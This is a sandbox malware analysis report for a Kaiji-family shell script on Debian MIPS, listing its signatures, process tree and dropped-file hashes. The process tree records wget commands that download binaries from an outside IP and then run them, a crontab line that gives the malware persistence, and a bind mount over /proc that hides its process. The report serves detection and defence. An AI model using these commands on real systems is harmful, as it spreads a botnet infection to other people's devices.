Analysis

  • max time kernel
    150s
  • max time network
    148s
  • platform
    debian-9_mips
  • resource
    debian9-mipsbe-20240729-en
  • resource tags

    arch:mipsimage:debian9-mipsbe-20240729-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
  • submitted
    16/04/2025, 18:46

General

  • Target

    download.sh

  • Size

    2KB

  • MD5

    544a2f391e2800bac07e883d902bcc75

  • SHA1

    cea67c26c372d03b795bbba678569256385d3b83

  • SHA256

    1dc484d51fb96c2097c2eb3695ff55d641e6778dbe8780cbbd0dbdfa688708ca

  • SHA512

    f281a43fb6443bf15069aee5987d06d493bc0f0f47b927aea17115db168e6bf3271e5f37a0dc7f76defd21b60c24e513fcda0c2f109ce26f5bd4b802de184a4b

Malware Config

Signatures

  • Kaiji 2 IoCs

    Kaiji payload

  • Kaiji family
  • File and Directory Permissions Modification 1 TTPs 2 IoCs

    Adversaries may modify file or directory permissions to evade defenses.

  • Executes dropped EXE 4 IoCs
  • Creates/modifies Cron job 1 TTPs 1 IoCs

    Cron allows running tasks on a schedule, and is commonly used for malware persistence.

  • Changes its process name 1 IoCs
  • Command and Scripting Interpreter: Unix Shell 1 TTPs 2 IoCs

    Execute scripts via Unix Shell.

  • Enumerates kernel/hardware configuration 1 TTPs 33 IoCs

    Reads contents of /sys virtual filesystem to enumerate system information.

  • Reads runtime system information 64 IoCs

    Reads data from /proc virtual filesystem.

  • System Network Configuration Discovery 1 TTPs 8 IoCs

    Adversaries may gather information about the network configuration of a system.

  • Writes file to tmp directory 2 IoCs

    Malware often drops required files in the /tmp directory.

Processes

  • /tmp/download.sh
    /tmp/download.sh
    1⤵
    • Executes dropped EXE
    PID:718
    • /bin/uname
      uname -s
      2⤵
        PID:720
      • /bin/uname
        uname -m
        2⤵
          PID:722
        • /bin/rm
          rm -f linux_mips
          2⤵
          • System Network Configuration Discovery
          PID:725
        • /usr/bin/wget
          wget -t 1 http://154.40.47.248:8000/linux_mips
          2⤵
          • System Network Configuration Discovery
          • Writes file to tmp directory
          PID:729
        • /bin/chmod
          chmod +x linux_mips
          2⤵
          • File and Directory Permissions Modification
          PID:779
        • /tmp/linux_mips
          ./linux_mips
          2⤵
          • Executes dropped EXE
          • Enumerates kernel/hardware configuration
          • System Network Configuration Discovery
          PID:780
          • /tmp/linux_mips
            ./linux_mips " "
            3⤵
            • Changes its process name
            • Enumerates kernel/hardware configuration
            • System Network Configuration Discovery
            PID:785
            • /bin/sh
              /bin/sh -c "/etc/32676&"
              4⤵
              • Executes dropped EXE
              • Command and Scripting Interpreter: Unix Shell
              PID:793
            • /usr/sbin/service
              service crond start
              4⤵
                PID:796
                • /usr/bin/basename
                  basename /usr/sbin/service
                  5⤵
                    PID:798
                  • /usr/bin/basename
                    basename /usr/sbin/service
                    5⤵
                      PID:800
                    • /bin/systemctl
                      systemctl --quiet is-active multi-user.target
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:802
                    • /bin/systemctl
                      systemctl list-unit-files --full "--type=socket"
                      5⤵
                      • Enumerates kernel/hardware configuration
                      • Reads runtime system information
                      PID:804
                    • /bin/sed
                      sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                      5⤵
                        PID:805
                      • /bin/systemctl
                        systemctl -p Triggers show dbus.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:808
                      • /bin/systemctl
                        systemctl -p Triggers show ssh.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:812
                      • /bin/systemctl
                        systemctl -p Triggers show syslog.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:813
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-fsckd.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:815
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-initctl.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:817
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald-audit.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:818
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald-dev-log.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:819
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-journald.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:823
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-networkd.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:826
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-rfkill.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:827
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-udevd-control.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        PID:828
                      • /bin/systemctl
                        systemctl -p Triggers show systemd-udevd-kernel.socket
                        5⤵
                        • Enumerates kernel/hardware configuration
                        • Reads runtime system information
                        PID:829
                    • /usr/local/sbin/systemctl
                      systemctl start crond.service
                      4⤵
                        PID:796
                      • /usr/local/bin/systemctl
                        systemctl start crond.service
                        4⤵
                          PID:796
                        • /usr/sbin/systemctl
                          systemctl start crond.service
                          4⤵
                            PID:796
                          • /usr/bin/systemctl
                            systemctl start crond.service
                            4⤵
                              PID:796
                            • /sbin/systemctl
                              systemctl start crond.service
                              4⤵
                                PID:796
                              • /bin/systemctl
                                systemctl start crond.service
                                4⤵
                                • Enumerates kernel/hardware configuration
                                • Reads runtime system information
                                PID:796
                              • /bin/sh
                                /bin/sh -c "echo \"*/1 * * * * root /.mod \" >> /etc/crontab"
                                4⤵
                                • Creates/modifies Cron job
                                • Command and Scripting Interpreter: Unix Shell
                                PID:830
                              • /usr/bin/renice
                                renice -20 785
                                4⤵
                                  PID:831
                                • /bin/mount
                                  mount -o bind /tmp/ /proc/785
                                  4⤵
                                  • Reads runtime system information
                                  PID:832
                                • /usr/sbin/service
                                  service cron start
                                  4⤵
                                    PID:833
                                    • /usr/bin/basename
                                      basename /usr/sbin/service
                                      5⤵
                                        PID:834
                                      • /usr/bin/basename
                                        basename /usr/sbin/service
                                        5⤵
                                          PID:835
                                        • /bin/systemctl
                                          systemctl --quiet is-active multi-user.target
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:836
                                        • /bin/systemctl
                                          systemctl list-unit-files --full "--type=socket"
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:838
                                        • /bin/sed
                                          sed -ne "s/\\.socket\\s*[a-z]*\\s*\$/.socket/p"
                                          5⤵
                                          • Reads runtime system information
                                          PID:839
                                        • /bin/systemctl
                                          systemctl -p Triggers show dbus.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:840
                                        • /bin/systemctl
                                          systemctl -p Triggers show ssh.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:841
                                        • /bin/systemctl
                                          systemctl -p Triggers show syslog.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:842
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-fsckd.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:843
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-initctl.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:844
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-journald-audit.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          PID:846
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-journald-dev-log.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:848
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-journald.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          PID:850
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-networkd.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:852
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-rfkill.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:855
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-udevd-control.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:857
                                        • /bin/systemctl
                                          systemctl -p Triggers show systemd-udevd-kernel.socket
                                          5⤵
                                          • Enumerates kernel/hardware configuration
                                          • Reads runtime system information
                                          PID:859
                                      • /usr/local/sbin/systemctl
                                        systemctl start cron.service
                                        4⤵
                                          PID:833
                                        • /usr/local/bin/systemctl
                                          systemctl start cron.service
                                          4⤵
                                            PID:833
                                          • /usr/sbin/systemctl
                                            systemctl start cron.service
                                            4⤵
                                              PID:833
                                            • /usr/bin/systemctl
                                              systemctl start cron.service
                                              4⤵
                                                PID:833
                                              • /sbin/systemctl
                                                systemctl start cron.service
                                                4⤵
                                                  PID:833
                                                • /bin/systemctl
                                                  systemctl start cron.service
                                                  4⤵
                                                  • Enumerates kernel/hardware configuration
                                                  • Reads runtime system information
                                                  PID:833
                                                • /bin/systemctl
                                                  systemctl start crond.service
                                                  4⤵
                                                  • Enumerates kernel/hardware configuration
                                                  • Reads runtime system information
                                                  PID:862
                                            • /bin/rm
                                              rm -f linux_mipsel
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:786
                                            • /usr/bin/wget
                                              wget -t 1 http://154.40.47.248:8000/linux_mipsel
                                              2⤵
                                              • System Network Configuration Discovery
                                              • Writes file to tmp directory
                                              PID:791
                                            • /bin/chmod
                                              chmod +x linux_mipsel
                                              2⤵
                                              • File and Directory Permissions Modification
                                              PID:820
                                            • /tmp/linux_mipsel
                                              ./linux_mipsel
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:821
                                            • /bin/rm
                                              rm -f linux_mipsel
                                              2⤵
                                              • System Network Configuration Discovery
                                              PID:824
                                            • /bin/rm
                                              /bin/rm /tmp/download.sh
                                              2⤵
                                                PID:825
                                            • /etc/32676
                                              /etc/32676
                                              1⤵
                                                PID:795
                                                • /bin/sleep
                                                  sleep 60
                                                  2⤵
                                                    PID:799
                                                  • /bin/sleep
                                                    sleep 60
                                                    2⤵
                                                      PID:901
                                                    • /bin/sleep
                                                      sleep 60
                                                      2⤵
                                                        PID:912

                                                    Network

                                                    MITRE ATT&CK Enterprise v16

                                                    Replay Monitor

                                                    Loading Replay Monitor...

                                                    Downloads

                                                    • /.mod

                                                      Filesize

                                                      34B

                                                      MD5

                                                      f5a3713282e43c200f30342f5ff5e2ea

                                                      SHA1

                                                      2b2ce1a207e2b691a074c6f78f71c4785aae426a

                                                      SHA256

                                                      6ab64e727571458d4884fb2fe82c27c467db0699cb8f648b3f0217c35d2b7511

                                                      SHA512

                                                      5bcb8cd360409147a486755f90e0cdd97183af02ce8de5135b7c6a8a010deb9ef12dcd5ee9a2a8fd2e159347f68e72d6b7fd75e943b4fcd928d7a74b97476013

                                                    • /etc/.walk

                                                      Filesize

                                                      41B

                                                      MD5

                                                      2dd37fddcc243f5581c4ce62ef5fdfc8

                                                      SHA1

                                                      f6adde2974e8b8b7e384b5556acbca3cc9d5b3f2

                                                      SHA256

                                                      811d6a6fc9aba79ed06e118d1b06579d68dd81503dd05c469c05005dc828a62b

                                                      SHA512

                                                      5dc0780584978253f7409adbfc9a83e52dd6c1667724df43dece254390c6fa66b5cf097b409cc1a4178f852061af1db99659cb3c6e61fb809a368fab6086775a

                                                    • /etc/.walk

                                                      Filesize

                                                      90B

                                                      MD5

                                                      e38a02404d480a130b22e468846d29ee

                                                      SHA1

                                                      862cc7ead638d06282474432fd60cdaebc8a87c9

                                                      SHA256

                                                      230b225ff7e6feaa217dcad9777d9503605a8a8f0fbd6020e3ad192d602c045e

                                                      SHA512

                                                      4b063eb01136320c67f1a1bf01f7e68f6c9cf68755e70b450e20bbb73cc0504f8456418c8b22b3b164a98fbfff5b496558aaf3caa8ed08be83a1c1dac9c6beb8

                                                    • /etc/32676

                                                      Filesize

                                                      56B

                                                      MD5

                                                      585f408444cbca746945f0cb63f2c3f0

                                                      SHA1

                                                      0e44bae17174f04514e770ca7fc4bec1007e39cd

                                                      SHA256

                                                      ebb961c647363dfa90f302de378e0e61807b9b792fc86616635a713cca8f4299

                                                      SHA512

                                                      022241dbafad55164701f67ef5b84154e3af97c5dfe77dee7bf8406f2befbd2962bbf4f243432b2f41d6c2376b87fcf551fd6945e03ddb02a5619c2f0f69c596

                                                    • /etc/profile.d/gateway.sh

                                                      Filesize

                                                      911B

                                                      MD5

                                                      9f3e861844e604c6c4c074d948aeeabf

                                                      SHA1

                                                      61d9060d95a41796eff5adeebab13038775506c5

                                                      SHA256

                                                      8704842b0b1612a923d6c8660a3f08b9f05a0340328fc46f3a555ab40b41cbca

                                                      SHA512

                                                      173bbf3d699c5948acd3cb7892a8bc1e467a4edaeb98765e0c792d2fabfa7ac29e06a02fbd3ac7ac2ada13769788151d38aa9b2baec9c086d570b4887b9057d5

                                                    • /tmp/linux_mips

                                                      Filesize

                                                      2.2MB

                                                      MD5

                                                      5ec2f6c412ccfcc16781a7f3f37fb474

                                                      SHA1

                                                      912cb18493577a0b5c64d994f4b6bc05990ae390

                                                      SHA256

                                                      e58dffab271cd20cb6089017017d8e6c5f68c56c2b1877e8a94bbcdadcd4ef4c

                                                      SHA512

                                                      ce37675e1ccfd0e7fdf2fe155473d94222ceb28cf8a3c797033617a07e7ce632240bdbb338d7c3aec5131a343d172a4d58a05e2558408e42b3eb80cf1767857f

                                                    • /tmp/linux_mipsel

                                                      Filesize

                                                      2.2MB

                                                      MD5

                                                      06a141032d508ea7639d82c044851727

                                                      SHA1

                                                      e49bf29f0c21f0e5a5d0ccee733ed1626df57d6b

                                                      SHA256

                                                      d3030e1575b48293f9364353127bd44892ec65120c11d1710eead510373aab55

                                                      SHA512

                                                      8173fc77c9ba84dc1a980c907dec6d2a37e20b3dec5438189fb1990e6c161de5a7ebc033091be2bcd7b80fb1bfe1478eb9f81f6811c9417fd95d3419c9cc2e05

                                                    • /usr/bin/include/find

                                                      Filesize

                                                      240KB

                                                      MD5

                                                      97b5c6c1b307114efc38193175a343c3

                                                      SHA1

                                                      24015d4f95c6878ea5027c134eddebb7126b610f

                                                      SHA256

                                                      b1a89f313023b476fc826d8fac689679504e61ae8e650681fb966e810ed34970

                                                      SHA512

                                                      e5359f3e082f54f5cfd7afa7771d8724d161d48d09372f203bdca222a47a63919fdfb76b6db7fb8ff61e92f8fd04fdec962e94331ff12705cf53ce5e23d33180